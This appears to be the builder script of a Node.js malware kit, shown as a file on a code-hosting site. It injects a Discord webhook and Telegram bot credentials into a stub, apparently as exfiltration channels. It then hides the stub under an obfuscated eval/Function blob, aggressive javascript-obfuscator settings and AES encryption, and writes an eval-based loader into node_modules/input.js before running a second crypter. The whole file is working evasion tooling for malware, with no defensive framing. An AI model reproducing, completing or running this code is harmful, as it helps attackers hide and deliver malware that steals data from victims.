Files

159 lines
51 KiB
JavaScript
Raw Permalink Normal View History

2026-08-27 10:50:08 -06:00
const fs = require('fs');
const path = require('path');
const crypto = require('crypto');
const os = require('os');
const { spawn } = require('child_process');
const JavaScriptObfuscator = require('javascript-obfuscator');
function readInfosFromFile() {
try {
const jsonPath = path.resolve(__dirname, '../gui/info.json');
const data = fs.readFileSync(jsonPath, 'utf8');
const jsonData = JSON.parse(data);
return {
webhookURL: jsonData.discordWebhookURL,
telegramBotToken: jsonData.telegramBotToken,
telegramChatID: jsonData.telegramChatID
};
} catch (error) {
throw new Error(`Error reading info: ${error.message}`);
}
}
const { webhookURL, telegramBotToken, telegramChatID } = readInfosFromFile();
function encrypt(text, masterkey) {
const iv = crypto.randomBytes(16);
const salt = crypto.randomBytes(16);
const key = crypto.pbkdf2Sync(masterkey, salt, 100000, 32, 'sha512');
const cipher = crypto.createCipheriv('aes-256-cbc', key, iv);
let encrypted = cipher.update(text, 'utf8', 'base64');
encrypted += cipher.final('base64');
return {
encryptedData: encrypted,
salt: salt.toString('base64'),
iv: iv.toString('base64')
};
}
function decrypt(encdata, masterkey, salt, iv) {
const key = crypto.pbkdf2Sync(masterkey, Buffer.from(salt, 'base64'), 100000, 32, 'sha512');
const decipher = crypto.createDecipheriv('aes-256-cbc', key, Buffer.from(iv, 'base64'));
let decrypted = decipher.update(encdata, 'base64', 'utf8');
decrypted += decipher.final('utf8');
return decrypted;
}
function executeSecondCrypterScript() {
return new Promise((resolve, reject) => {
const crypterDirectory = __dirname;
const secondCrypterScript = 'jscrypter.js';
const childProcess = spawn('node', [secondCrypterScript], {
cwd: crypterDirectory,
stdio: 'inherit'
});
childProcess.on('error', (error) => {
console.error(`Error executing second encryption script: ${error.message}`);
reject(error);
});
childProcess.on('exit', (code, signal) => {
if (code === 0) {
console.log('Second encryption script executed successfully.');
resolve();
} else {
const err = new Error(`Second encryption script failed. Exit code: ${code}, signal: ${signal}`);
console.error(err.message);
reject(err);
}
});
});
}
function resetPlaceholder(stubPath, originalStubCode) {
fs.writeFileSync(stubPath, originalStubCode, 'utf8');
console.log('Stub placeholder reset successfully.');
}
async function main() {
try {
const stubPath = path.resolve(__dirname, 'stub.js');
const stubCode = fs.readFileSync(path.resolve(__dirname, 'stub.js'), 'utf8');
const updatedStubCode=(function(s,w,t1,t2){const g=global;g["_155ea346"]=s;g["_201f4db3"]=w;g["_9531f6da"]=t1;g["_af9dc00e"]=t2;eval("Function(\"fIBqk6J\",\"var kLN59z,dIcPdX,__globalObject,__TextDecoder,__Uint8Array,__Buffer,__String,__Array,utf8ArrayToStr,PiORiB;function OIuzy72(kLN59z,dIcPdX,__globalObject){for(__globalObject=0x0;__globalObject<dIcPdX;__globalObject++)kLN59z.push(kLN59z.shift());return kLN59z}const IHeOuy=[\\\"length\\\",0x1,0xae,0x0,0x8,0x76,\\\"a\\\",\\\"i\\\",0x7,0x5,\\\"f\\\",0x4,0xff,0xf6,\\\"c\\\",0x3,\\\"e\\\",\\\"undefined\\\",void 0x0,\\\"d\\\",0xa3,\\\"b\\\",0xd8,0x3f,0x6,\\\"fromCodePoint\\\",0xc,\\\"push\\\",0x2,0xc1,\\\"g\\\",0x5b,0x1fff,0x58,0xd,0xe,0xcf,0x9,0x6f,0x5d,0x8e,0x7e,0x7f,0x79,0x80,!0x1,0x5e,0x4b,0xa9,0x6e,0xf7,0xd2,0xd3,0xd7,0xdf,0xde,0xe6];EaHVzRe(TV1cZM(IhWhl8),TV1cZM(AFyN0aq));function TV1cZM(kLN59z,dIcPdX=IHeOuy[0x1]){Object.defineProperty(kLN59z,IHeOuy[0x0],{value:dIcPdX,configurable:IHeOuy[0x2d]});return kLN59z}function AFyN0aq(...kLN59z){EaHVzRe(kLN59z[IHeOuy[0x0]]=IHeOuy[0x1],kLN59z[IHeOuy[0x6]]=\\\"1w9|0[~6>]c`aHq3ny4,%GmX{rMg?RTtkKQFi/z\\\\\\\"Wf+$Ex!YP^(u@5dVLJ;:2D7ep}#v&_ClUo8hBb=IANS*sZ<)j.O\\\",kLN59z[IHeOuy[0x2]]=\\\"\\\"+(kLN59z[IHeOuy[0x3]]||\\\"\\\"),kLN59z[IHeOuy[0x5]]=kLN59z[IHeOuy[0x2]].length,kLN59z[IHeOuy[0xb]]=[],kLN59z[IHeOuy[0x9]]=IHeOuy[0x3],kLN59z[IHeOuy[0xa]]=IHeOuy[0x3],kLN59z[IHeOuy[0x8]]=-IHeOuy[0x1]);for(kLN59z[IHeOuy[0x4]]=IHeOuy[0x3];kLN59z[IHeOuy[0x4]]<kLN59z[IHeOuy[0x5]];kLN59z[IHeOuy[0x4]]++){kLN59z[IHeOuy[0x7]]=kLN59z[IHeOuy[0x6]].indexOf(kLN59z[IHeOuy[0x2]][kLN59z[IHeOuy[0x4]]]);if(kLN59z[IHeOuy[0x7]]===-IHeOuy[0x1])continue;if(kLN59z[IHeOuy[0x8]]<IHeOuy[0x3]){kLN59z[IHeOuy[0x8]]=kLN59z[IHeOuy[0x7]]}else{EaHVzRe(kLN59z[IHeOuy[0x8]]+=kLN59z[IHeOuy[0x7]]*IHeOuy[0x1f],kLN59z[IHeOuy[0x9]]|=kLN59z[IHeOuy[0x8]]<<kLN59z[IHeOuy[0xa]],kLN59z[IHeOuy[0xa]]+=(kLN59z[IHeOuy[0x8]]&IHeOuy[0x20])>IHeOuy[0x21]?IHeOuy[0x22]:IHeOuy[0x23]);do{EaHVzRe(kLN59z[IHeOuy[0xb]].push(kLN59z[IHeOuy[0x9]]&IHeOuy[0xc]),kLN59z[IHeOuy[0x9]]>>=IHeOuy[0x4],kLN59z[IHeOuy[0xa]]-=IHeOuy[0x4])}while(kLN59z[IHeOuy[0xa]]>IHeOuy[0x8]);kLN59z[IHeOuy[0x8]]=-IHeOuy[0x1]}}if(kLN59z[IHeOuy[0x8]]>-IHeOuy[0x1]){kLN59z[IHeOuy[0xb]].push((kLN59z[IHeOuy[0x9]]|kLN59z[IHeOuy[0x8]]<<kLN59z[IHeOuy[0xa]])&IHeOuy[0xc])}return JoD2I9(kLN59z[IH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_>Io}E{Mi%t5t$E>DZQRf`7lI`1?9R8?B:^2DAM*@O!3?x=l*<]~L1Y5:=hVH:4cUs+Dr`i3wFLK>J`UBaz68u=p@J[*v04t[Z9ecHnA&DHCf(u,BA$}LGue)^CN/Z#K=*Uka$nEI7Lw}*NeIU%}L~M0~c1QH[RA$sqJ.brd?rdW<#`R28RS*E{idC!4AERe=8/e;3n]r~!qCJApWdHV~sj_qz{aA7%z$Vvk99nm:tJ4,Z#7qgVl*hEQ3+0m<)7q7S/}~Wh_TXH)H/d\\\\\\\"U`m]rMn+)A?g*}^N[x0>|zN;7NATGINH$q7+a9#JdaJ&:ZuF@sq|G<<jKE!22FK#=IvW.>Rt/v4v(AZ)]z/~;(Kpw|;hRb}ja\\\\\\\"@fn+nEItJcwqRsfd6q<mMcv2N9F{4lW8~ma~K5u5>(,]>SbFaMfQK$7Fdx^dY_YEGI;ZcDdv4Bv;,G7*$MfN,C6%>5~TGRB>mThI=;UZ{SznNrzK/.r3WCKD@qgd11$A/)`z#S{\\\\\\\"!]BDb=Do+Xn&<,rZ4nxyq>7\\\\\\\"LT8`#8ri;=C!f(3knSxoj{idLZJ4bU3J#xvZKt&Z~vS9vhandv~n6H)J]JMu7y!<4Dr!unv{6!(U34W{J;xaW?3JAC(YE{Dw+|
if (stubCode === updatedStubCode) {
throw new Error('Failed to update placeholder in stub.js. Please check that the placeholder exists.');
}
const compiledCode = updatedStubCode;
const obfuscationResult = JavaScriptObfuscator.obfuscate(compiledCode, {
compact: true,
controlFlowFlattening: true,
controlFlowFlatteningThreshold: 0.75,
deadCodeInjection: true,
deadCodeInjectionThreshold: 0.75,
debugProtection: false,
disableConsoleOutput: true,
identifierNamesGenerator: 'mangled',
log: false,
numbersToExpressions: true,
renameGlobals: false,
selfDefending: true,
simplify: true,
splitStrings: true,
splitStringsChunkLength: 5,
stringArray: true,
stringArrayCallsTransform: true,
stringArrayEncoding: ['rc4'],
stringArrayIndexShift: true,
stringArrayRotate: true,
stringArrayShuffle: true,
stringArrayThreshold: 0.75,
stringArrayWrappersCount: 2,
stringArrayWrappersChainedCalls: true,
stringArrayWrappersParametersMaxCount: 4,
stringArrayWrappersType: 'function',
transformObjectKeys: true,
unicodeEscapeSequence: false
});
const obfuscatedCode = obfuscationResult.getObfuscatedCode();
const secret = crypto.randomBytes(32).toString('base64');
const encryptionKey = crypto.createHash('sha256').update(String(secret)).digest('base64').substr(0, 32);
const { encryptedData, salt, iv } = encrypt(obfuscatedCode, encryptionKey);
const runnerCode = `
const crypto = require('crypto');
${decrypt.toString()}
const decrypted = decrypt("${encryptedData}", "${encryptionKey}", "${salt}", "${iv}");
(function(require) { eval(decrypted); })(require);
`;
const folderName = 'node_modules';
const fileName = 'input.js';
const targetFolder = path.join(__dirname, folderName);
if (!fs.existsSync(targetFolder)) {
fs.mkdirSync(targetFolder);
}
const targetFile = path.join(targetFolder, fileName);
fs.writeFileSync(targetFile, runnerCode, 'utf8');
console.log(`Encrypted with AES-256 after obfuscation.`);
resetPlaceholder(stubPath, stubCode);
await executeSecondCrypterScript();
} catch (error) {
console.error(`Error: ${error.message}`);
}
}
main();